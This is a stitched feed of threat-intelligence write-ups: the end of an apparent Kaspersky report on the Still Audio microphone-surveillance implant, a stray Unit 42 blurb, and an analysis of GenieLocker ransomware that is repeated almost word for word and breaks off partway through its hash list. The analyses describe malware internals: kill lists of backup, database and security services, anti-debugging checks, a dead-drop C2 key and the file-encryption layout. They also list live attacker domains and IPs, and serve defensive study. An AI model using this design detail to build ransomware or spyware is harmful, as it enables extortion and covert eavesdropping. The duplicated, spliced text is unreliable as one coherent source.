• Information about private chats, groups, or channels, such as chat name and ID, the member list, and so on
• Dialogs from private chats, groups, and channels (if the download_channels option is on)
• Media files under 250MB: photos, documents, stickers, and contacts

Still Audio

Still Audio is an audio surveillance implant written in Rust. Its main job is to analyze the incoming audio stream and start recording voice when certain conditions are met – we’ll cover those in the next section. Architecturally, Still Audio largely mirrors Sync and uses the same mechanisms for communicating with the C2 server.

On launch, Still Audio performs a sequence of actions:

• It extracts libmp3lame.dll, a file stored inside the executable. This is a library used to encode audio data.
• If the --console command-line argument is absent, the implant creates a service named auxhost, connects to it, and continues running in the background.
• While running in the background, it creates a file, logfile.log, to write logs to.

Next, Still Audio retrieves the C2 server address. As with Sync, it stores the URL in an environment variable – in this case, STILL_AUDIO_SYNC_ADDR. If that variable isn’t set, it falls back to STILL_SYNC_ADDR, which shows the two modules are compatible with each other. If neither variable is set, it uses the default URL, https://srwinservice[.]com.

Still Audio also uses the Dead Drop Resolver technique as a fallback mechanism for obtaining the C2 address. If the current server stays unreachable for three days, the tool tries to pull the current C2 URL from a GitHub repository. In the sample under analysis, we found the following URL for the page containing C2 information: hxxps://raw.githubusercontent[.]com/mmarln/pi-mono/refs/heads/main/packages/pods/src/array12.json

The repository, a fork of a popular project, contains the server URL Base64-encoded and encrypted with the Blowfish algorithm in ECB mode, using the key 5c8e153228edd3c6cbf75684 (lowercase string). Older AquilaRAT samples use this exact same algorithm and key.

Once it obtains the current C2 address, the Audio module starts a registration process similar to Sync’s, but through a different endpoint:

/still.rpc.Audio/RegisterAudioMachine. Also, unlike Sync, Audio sends a list of available audio input devices along with the system information.

The server responds with settings for the implant:

• machine_id: a unique identifier for the current device.
• vad_threshold: the threshold value for the VAD (Voice Activity Detection) algorithm. Expressed as a decimal fraction, it represents a proportion of the maximum sound level the input device can pick up. Sound above this threshold counts as voice activity. The default vad_threshold is 02.
• max_silence_duration: the number of audio samples with a VAD value below the set threshold after which the implant considers the recording finished.
• max_buffer_size: the maximum buffer size for recorded audio data.
• active_device: the name of the input device selected for recording, from the list of available devices.

The eavesdropping process

Still Audio works with raw audio samples it captures directly from the input device. To detect voice activity, it implements an algorithm based on Root Mean Square (RMS), a lightweight signal-processing method that distinguishes speech from silence by measuring the audio signal’s average power over time. The implant doesn’t rely on any third-party libraries here; it implements all the calculations itself.

The implant compares the calculated RMS value against the vad_threshold parameter. If RMS meets or exceeds this threshold, recording starts. To avoid losing the beginning of the recording, Still Audio uses a pre-buffer, a size-limited buffer that stores samples from just before the current recording moment. A sequence of max_silence_duration samples (320 by default) with RMS values below the threshold signals the end of the recording. For example, with a standard headset running at a 44.1kHz sampling rate, recording stops after roughly 7ms of silence.

Interestingly, the Audio module makes no attempt to hide its use of the microphone: its name shows up in Windows settings. In the sample we examined, the file was saved to disk as IntAudio.exe, and it appeared in the list of apps using the microphone as “Intel Audio”:

Before sending recordings to the server, the implant uses the libmp3lame library to encode the raw audio samples. It sends the recording files via a POST request to /tgfrg, adding a Client-Id header containing the machine_id obtained during registration to identify the device.

Infrastructure

This campaign draws on a broad set of hosting providers and domains registered at different points in time, which suggests the attackers are trying to make their infrastructure harder to detect. We found no direct overlap in domains or IP addresses with the February campaign. Even so, the two infrastructures share some similarities:

• They use the same hosting providers, with the ASNs 149440, 202448, and 215311.
• Their domain names follow similar naming patterns that mimic Windows system services and update mechanisms.

Domain	IP address	Registration date	ASN
orderapiserver[.]info	187.127.153[.]38	April 18, 2026	47583
tg4service[.]com	159.198.37[.]74	October 4, 2025	22612
srwinservice[.]com	213.252.244[.]123	March 19, 2026	61272
screenserv[.]com	23.26.237[.]250	February 13, 2026	149440
windowserv[.]net	23.27.24[.]30	February 10, 2026	149440
managementapiservice[.]com	188.212.124[.]178	May 1, 2026	202448
service8date[.]com	145.223.69[.]143	January 13, 2026	215311
updateservs[.]com	145.223.68[.]66	December 23, 2025	215311

Victims

In this campaign, we’ve determined that the attackers’ primary targets are users in Russia. Most victims are private individuals, though the corporate sector, government organizations, IT companies, and educational institutions are also affected.

Attribution

This campaign has been using both new tools and malware families documented in BI.ZONE’s February report. While some components turned up for the first time, they show significant code-level overlap with malicious tools seen in earlier Armored Likho campaigns. Based on these overlaps, along with additional technical artifacts, we’re highly confident the Armored Likho group is behind the campaign. The overlaps we identified include:

• Identical dropper architecture in the February and current campaigns, which includes the use of the Tauri library to build the graphical interface, a similar user-input handler, a payload with the ICRYPTMP header, and the same multi-part encryption format.
• The same encryption algorithm and key used in AquilaRAT from the previous campaign and in the Still Audio module from the current campaign, both implementing the Dead Drop Resolver technique.
• Identical logic for generating the sysmarker value in older AquilaRAT samples and in the Still toolkit from the current campaign. The algorithms match down to the PowerShell commands used to collect system information.
• Substantial infrastructure overlap, which includes the hosting providers and domain-naming patterns described in the Infrastructure section.

Takeaways

The campaign described in this post shows Armored Likho’s toolkit evolving, with the group steadily expanding its cyber-espionage capabilities. Beyond the components we already knew about, the attackers rolled out new modules that let them not only access Telegram data but also conduct audio surveillance on victims. Together, these capabilities significantly widen the range of information attackers can collect in a single compromise.

One point deserves particular attention: the new tools form a cohesive set, sharing similar architecture, C2 communication mechanisms, and common implementation elements. This points to the group building out its own tool ecosystem, designed for long-term use and further expansion.

The emergence of new, specialized modules shows the attackers aren’t just trying to preserve their existing capabilities – they’re working to make intelligence-gathering more effective by controlling multiple communication channels at once.

Indicators of compromise

Additional information about this threat, indicators of compromise included, is available to customers of Kaspersky Threat Intelligence Reporting. Contact intelreports@kaspersky.com for more details.

File hashes
Droppers
C1D1EE16B92E6A138FFA048855F75D7D
17674B250D8B422A50A86C9FF207186D
62801F6223E860A7CCA271522E303B2D

Still Sync
68F0365D2FA8C828D012D8859E52A773
4BD7C352AE277B0E38D07BEEDD4DD507
D4BC09FB10EA2A5DC0BCBEEDA5E5AFDD

Still Audio
2CA8ADBAB98EBE305EACF272CF48F5A0
3AC41B097236A7723821848AE31EF141
439255736797BC88BD19F282449E0436

Domains
orderapiserver[.]info
tg4service[.]com
srwinservice[.]com
screenserv[.]com
windowserv[.]net
managementapiservice[.]com
service8date[.]com
updateservs[.]com

Learn how the Spring Ring campaign abuses Microsoft Teams and voice phishing to deploy malware and target enterprise domain controllers.

The post Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams appeared first on Unit 42.

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

Argument	Description
First argument	“Secret” argument, hex string value
-p, –percent N	Percentage of file content to encrypt
-r, –recursive	Process directories recursively
-l, –log <filename>	Set path for log file
-h, –help	Show help message
Last argument	Path to encrypt

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

Value or name	Size (bytes)	Description
version	1	Hardcoded byte with value 1, most likely the version.
encryption_percent	1	Percentage of file content to encrypt, value from -p argument.
file_nonce	24	Nonce used during encryption of the file content.
original_filesize	8	Original size of the file before encryption.
total_chunk_count	8	Max count of chunks inside the current file.
chunk_size	4	Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size	4	The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks	32	BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count	4	Number of chunks that were encrypted.
extension	64	A string with the additional ransomware extension.
poly1305_tags (array)	16 bytes per chunk	Array of Poly1305 tags of encrypted chunks.
bitmask	varies, one bit per each chunk	Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

Argument	Description
-p <perc>	Percentage of file content to encrypt
-j <workers>	Number of encryption threads
-r <dir>	Process directories recursively
-w <sec>	Delay before start
-d	Daemonizing the process
-l <logfile>	Path to log file

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

Argument	Description
First argument	“Secret” argument, hex string value
-p, –percent N	Percentage of file content to encrypt
-r, –recursive	Process directories recursively
-l, –log <filename>	Set path for log file
-h, –help	Show help message
Last argument	Path to encrypt

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

Value or name	Size (bytes)	Description
version	1	Hardcoded byte with value 1, most likely the version.
encryption_percent	1	Percentage of file content to encrypt, value from -p argument.
file_nonce	24	Nonce used during encryption of the file content.
original_filesize	8	Original size of the file before encryption.
total_chunk_count	8	Max count of chunks inside the current file.
chunk_size	4	Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size	4	The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks	32	BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count	4	Number of chunks that were encrypted.
extension	64	A string with the additional ransomware extension.
poly1305_tags (array)	16 bytes per chunk	Array of Poly1305 tags of encrypted chunks.
bitmask	varies, one bit per each chunk	Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

Argument	Description
-p <perc>	Percentage of file content to encrypt
-j <workers>	Number of encryption threads
-r <dir>	Process directories recursively
-w <sec>	Delay before start
-d	Daemonizing the process
-l <logfile>	Path to log file

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
